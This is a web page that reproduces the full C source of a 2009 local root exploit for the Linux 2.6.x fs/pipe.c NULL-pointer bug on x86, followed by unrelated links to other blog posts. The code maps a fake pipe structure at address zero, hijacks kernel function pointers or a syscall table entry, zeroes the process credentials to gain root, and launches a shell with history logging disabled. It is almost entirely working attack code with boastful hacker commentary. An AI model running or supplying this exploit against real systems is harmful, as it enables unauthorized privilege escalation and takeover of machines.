Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
/******************************************************************************
 *                            .:: Impel Down ::.
 *
 *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
 *                              by teach & xipe
 *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
 *    (hehe guyz, we would probably be high profile and mediatised el8 if we 
 *    lost less time on trolling all day long, but we LOVE IT :))) 
 *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
 *    promise ivan, one day i'll kill u :p)
 *                
 * (C) COPYRIGHT teach & xipe, 2009
 * All Rights Reserved
 *
 * teach@vxhell.org
 * xipe@vxhell.org
 *    
 *******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>
/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
#define PIPE_BUFFERS (16)
struct __wait_queue_head {
      int spinlock;
      void *next, *prev; // struct list_head
};
struct fasync_struct {  // bleh! didn't change from 2.6.0 to 2.6.31
  int magic;
  int fa_fd;
  struct fasync_struct *fa_next;
  void *file; // struct file
};
// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
        int suce;
        int *fptr[6];
};
// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
        struct __wait_queue_head wait;
        char *base; // !!!!!
        unsigned int len; // !!!
        unsigned int start; // !!!
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};
// from 2.6.11 to 2.6.16 
struct pipe_buffer_2611_16 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
};
struct pipe_inode_info_2611_16 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};
// from 2.6.17 to 2.6.19 
struct pipe_buffer_2617_19 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};
struct pipe_inode_info_2617_19 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
};
// from 2.6.20 to 2.6.22 
struct pipe_buffer_2620_22 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};
struct pipe_inode_info_2620_22 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};
// AND FINALY from 2.6.23 to 2.6.31 ... :))
struct pipe_buffer_2623_31 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
        unsigned long tg;
};
struct pipe_inode_info_2623_31 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);
static inline void *get_4kstack_top()
{
  void *stack;
  __asm__ __volatile__ (
  "movl $0xfffff000,%%eax ;"
  "andl %%esp, %%eax ;"
  "movl %%eax, %0 ;"
  : "=r" (stack)
  );
  return stack; 
}
static inline void *get_8kstack_top()
{
  void *stack;
  __asm__ __volatile__ (
  "movl $0xffffe000,%%eax ;"
  "andl %%esp, %%eax ;"
  "movl %%eax, %0 ;"
  : "=r" (stack)
  );
  return stack; 
}
static inline void *get_current()
{
      void *cur = *(void **)get_4kstack_top(); 
      if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
            return cur;
  else
        cur = *(void **)get_8kstack_top();
  return cur;
}
void map_struct_at_null()
{
      struct pipe_inode_info_2600_10 *pipe2600_10;
      struct pipe_inode_info_2611_16 *pipe2611_16;
      struct pipe_inode_info_2617_19 *pipe2617_19;
      struct pipe_inode_info_2620_22 *pipe2620_22;
      struct pipe_inode_info_2623_31 *pipe2623_31;
      struct pipe_buf_operations luffy;
      FILE *f;
      unsigned int *sct_addr;
      unsigned int sc_addr;
  char dummy;
  char sname[256], pipebuf[10];
  int ret, i;
  void *page;
      page = get_null_page();
      int version = get_kern_version();
      luffy.suce = 1;
      for(i = 0; i < 6; i++)
            luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
      // ok lets go ...
      if(version >= 2600 && version <= 2610)
      {
            iz_kern2600_10 = 1;
            /* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname
             * i don't bother to restore it after owning the kernel. implement it if u want :p
             */
             // hehe as u see, his imperial majesty spender haz alwayz good trickz
        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) 
        {
          f = fopen("/proc/ksyms", "r");
          if (f == NULL) 
          {
            error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!");
          }
        }
        ret = 0;
        while(ret != EOF) 
        {
          ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
          if (ret == 0) 
          {
            fscanf(f, "%s\n", sname);
            continue;
          }
          if (!strcmp("sys_call_table", sname)) 
          {
            printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
            fclose(f);
          }
        }
            if(f != NULL)
            {
              fclose(f);
              error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!");
        }
        sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
        pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
        memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
        pipe2600_10->base = pipebuf;
        pipe2600_10->len = 0;
        pipe2600_10->start = 0;
        pipe2600_10->writers = 1;
        printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
      }
      else if(version >= 2611 && version <= 2616)
      {
            pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
        pipe2611_16->writers = 1;
        pipe2611_16->nrbufs = 1;
        for(i = 0; i < PIPE_BUFFERS; i++)
              pipe2611_16->bufs[i].ops = &luffy;
        printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
      }
      else if(version >= 2617 && version <= 2619)
      {
            pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
            pipe2617_19->readers = 1;
        pipe2617_19->nrbufs = 1;
        for(i = 0; i < PIPE_BUFFERS; i++)
              pipe2617_19->bufs[i].ops = &luffy;
        pipe2617_19->wait.next = &pipe2617_19->wait.next;
            pipe2617_19->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
      }
      else if(version >= 2620 && version <= 2622)
      {
            pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
            pipe2620_22->readers = 1;
        pipe2620_22->nrbufs = 1;
        for(i = 0; i < PIPE_BUFFERS; i++)
              pipe2620_22->bufs[i].ops = &luffy;
        pipe2620_22->wait.next = &pipe2620_22->wait.next;
            pipe2620_22->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
      }
      else if(version >= 2623 && version <= 2631)
      {
            pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
            pipe2623_31->readers = 0;
        pipe2623_31->nrbufs = 0;
        for(i = 0; i < PIPE_BUFFERS; i++)
              pipe2623_31->bufs[i].ops = &luffy;
        pipe2623_31->wait.next = &pipe2623_31->wait.next;
            pipe2623_31->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
      }
      else
            error("errrr! exploit not developped for ur kernel!");
}
int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
{
    struct utsname buf;
    char second[2],third[3];
    int version = 2000;
    if(uname(&buf) < 0)
            error("can't have ur k3rn3l version. this box isn't for today :P\n");
    sprintf(second, "%c", buf.release[2]);
    second[1] = 0;
    version += atoi(second) * 100;
    third[0] = buf.release[4];
    if(buf.release[5] >= '0' || buf.release[5] <= '9')
    {
            third[1] = buf.release[5];
            third[2] = 0;
            version += atoi(third);
    }
    else
    {
            third[1] = 0;
            version += third[0] - '0';
    }
    printf("\t\t+ Kernel version %i\n", version);
    return version; 
}  
// from our g0dz spender & julien  :] lullz
void* get_null_page(void)
{
  void *page;
  if ((personality(0xffffffff)) != PER_SVR4) 
  {
    page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
    if (page != NULL) 
    {
      page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
      if (page != NULL) 
      {
        error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
      }
    }
        else 
        {
          if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
          {
                free(page);
            error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
      }
    }
  }
  else
  {
        // may be we are lucky today ... :)
        page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
    if (page != NULL) 
    {
      page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
      if (page != NULL) 
      {
        error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
      }
    }
        else 
        {
          if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
          {
                free(page);
            error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
      }
    }
  }
  printf("\t\t+ Got null page\n");
  return page;
}
void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :))
{
      char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
      char *envp[] = { "TERM=linux", "PS1=blackbird\\$  ", "BASH_HISTORY=/dev/null",
                   "HISTORY=/dev/null", "history=/dev/null",
                   "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
      execve("/bin/sh", argv, envp);
      error("hheeeehhh! unable to spawn a sh");
}
int is_done(int new)
{
  static int done = 0;
  if (done == 1)
    return (1);
  done = new;
}
volatile int done = 0;
void get_cur_task_and_escalate_priv()
{
  uint32_t  i;
  uint32_t  *task = get_current();
  uint32_t   *cred = 0;
  for(i=0; i<0x1000; i++)
      {
           if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
           {
                  task[i] = 0;
                  task[i+1] = 0;
                  task[i+2] = 0;
                  task[i+3] = 0;
                  is_done(1);
                  return;
           }
      }
  for (i = 0; i<1024; i++)
  {
    taskstruct[i] = task[i];
    cred = (uint32_t *)task[i];
    if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
      cred++; /* Get ride of the cred's 'usage' field */
            if (cred[0] == uid && cred[1] == gid
                && cred[2] == uid && cred[3] == gid
                && cred[4] == uid && cred[5] == gid
                && cred[6] == uid && cred[7] == gid)
            {
        /* Get root */
               cred[0] = cred[2] = cred[4] = cred[6] = 0;
                    cred[1] = cred[3] = cred[5] = cred[7] = 0;
        break;
            }
    }
  }
  is_done(1);
}
int main(int ac, char **av)
{
  int fd[2];
  int pid;
  char tapz[4];
  uid = getuid();
  gid = getgid();
  setresuid(uid, uid, uid);
  setresgid(gid, gid, gid);
  map_struct_at_null();
  //while (1) 
  {
    pid = fork();
    if (pid == -1)
    {
      perror("fork");
      return (-1);
    }
    if (pid)
    {
      char path[1024];
      /* I assume next opened fd will be 4 */
      sprintf(path, "/proc/%d/fd/4", pid);
      while (!is_done(0))
      {
        fd[0] = open(path, O_RDWR);
        if (fd[0] != -1)
        {
          if(iz_kern2600_10)
                              {
                                    memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
                                    write(fd[0], tapz, 4);
                              }
          close(fd[0]);
        }
      }
      if(iz_kern2600_10)
                  {
                        syscall(__NR_olduname, NULL);
                  }
                  printf("\t\t+ Got root!\n");
      gomu_gomu_nooooo_gatling_shell();
      return (0);
    }
    while (!is_done(0))
    {
      if (pipe(fd) != -1)
      {
        close(fd[0]);
        close(fd[1]);
      }
    }
  }
}												
											Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)的更多相关文章
- 【转载】重置密码解决MySQL for Linux错误 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
		
重置密码解决MySQL for Linux错误 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using passwor ...
 - 关于Windbg Local kernel debugging for Win7
		
在使用Windbg的时候,如果在Win7上使用Kernel Debug时候会弹出下面的对话框: 在这个对话框中所描述的信息中我们可以看到这么一段话: “Local kernel debugging i ...
 - 练习--LINUX进程间通信之无名管道PIPE
		
IBM上放的这个系统不错,刚好可以系统回温一下LINUX的系统知识. http://www.ibm.com/developerworks/cn/linux/l-ipc/part1/ 感觉年纪大了,前几 ...
 - Linux 软件安装到 /usr,/usr/local/ 还是 /opt 目录区别
		
Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系统级的目录,可以理解为C:/Windows/, /usr/lib理解为C:/Windows/System32./ ...
 - Linux IPC实践(2) --匿名PIPE
		
管道概念 管道是Unix中最古老的进程间通信的形式,我们把从一个进程连接到另一个进程的一个数据流称为一个"管道", 管道的本质是固定大小的内核缓冲区; 如:ps aux | gre ...
 - Linux 软件安装到 /usr,/usr/local/ 还是 /opt 目录?
		
转自:https://blog.csdn.net/aqxin/article/details/48324377 Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系 ...
 - Linux 软件 安装到 /usr,/usr/local/ 还是 /opt 目录
		
Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系统级的目录,可以理解为C:/Windows/,/usr/lib理解为C:/Windows/System32./u ...
 - Linux 进程间通讯方式 pipe()函数 (转载)
		
转自:http://blog.csdn.net/ta893115871/article/details/7478779 Linux 进程间通讯方式有以下几种: 1->管道(pipe)和有名管道( ...
 - 【转载】Linux 软件安装到 /usr,/usr/local/ 还是 /opt 目录?
		
Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系统级的目录,可以理解为C:/Windows/ /usr/lib:理解为C:/Windows/System32. ...
 
随机推荐
- spark streaming 笔记
			
spark streaming项目 学习笔记 为什么要flume+kafka? 生成数据有高峰与低峰,如果直接高峰数据过来flume+spark/storm,实时处理容易处理不过来,扛不住压力.而选用 ...
 - vue学习  ----   使用vue-router 进行跳转
			
前提说明,在学习vue的时候,尽量的以官网的为主,而且框架本身与官方文档都是在不断迭代更新的. 在vue的框架中,目前都是使用vue-router 来进行页面跳转的,而不是<a>.先贴一个 ...
 - 哪些文件在vue项目中很重要,哪些可以删掉
			
是时候告诉你重要文件是哪些了,这是一个陆游,所以 需要路由配置 index.js 路由配置文件是index.js注意这个文件最开始就在集成路由了 然后最开始集成路由的地方可以不写后缀名字,因此注意这个 ...
 - poj3468 A Simple Problem with Integers (树状数组做法)
			
题目传送门 A Simple Problem with Integers Time Limit: 5000MS Memory Limit: 131072K Total Submissions: 1 ...
 - poj3216 Prime Path(BFS)
			
题目传送门 Prime Path The ministers of the cabinet were quite upset by the message from the Chief of Sec ...
 - Python的基本类型(list,tuple)
			
Python的基本类型(list,tuple) 一列表: 1.列表是Python基础的数据类型之一,其他语言也有类似的数据类型,比如js中的数组,java中的数组等,它是以[]括起来 ,每个元素用', ...
 - 【学习总结】Python-3- 类型判断之 isinstance 和 type 的区别
			
菜鸟教程-Python3-基本数据类型 关于类型查询: type() 函数:可以用来查询变量所指的对象类型 用 isinstance()函数:判断是否是某个类型 两者的区别: type()不会认为子类 ...
 - “CreateRiaClientFilesTask”任务意外失败。 未能加载文件程序集“System.ComponentModel.DataAnnot...
			
错误 77 “CreateRiaClientFilesTask”任务意外失败. System.Web.HttpException (0x80004005): 未能加载文件或程序集“System. ...
 - go中浮点型用法总结
			
示例 // 浮点型的用法 package main import ( "fmt" "unsafe" ) func main() { // 如果浮点数声明时未指定 ...
 - canvas---从基础到实战
			
canvas是H5新增的一个元素,可以用来描绘各种你想描绘的东西. canvas本身没有绘制能力,你可以把它当做一个容器,需要我们用脚本,也就是js来给他灌满水. 兼容性 1. IE9版本以上.Fir ...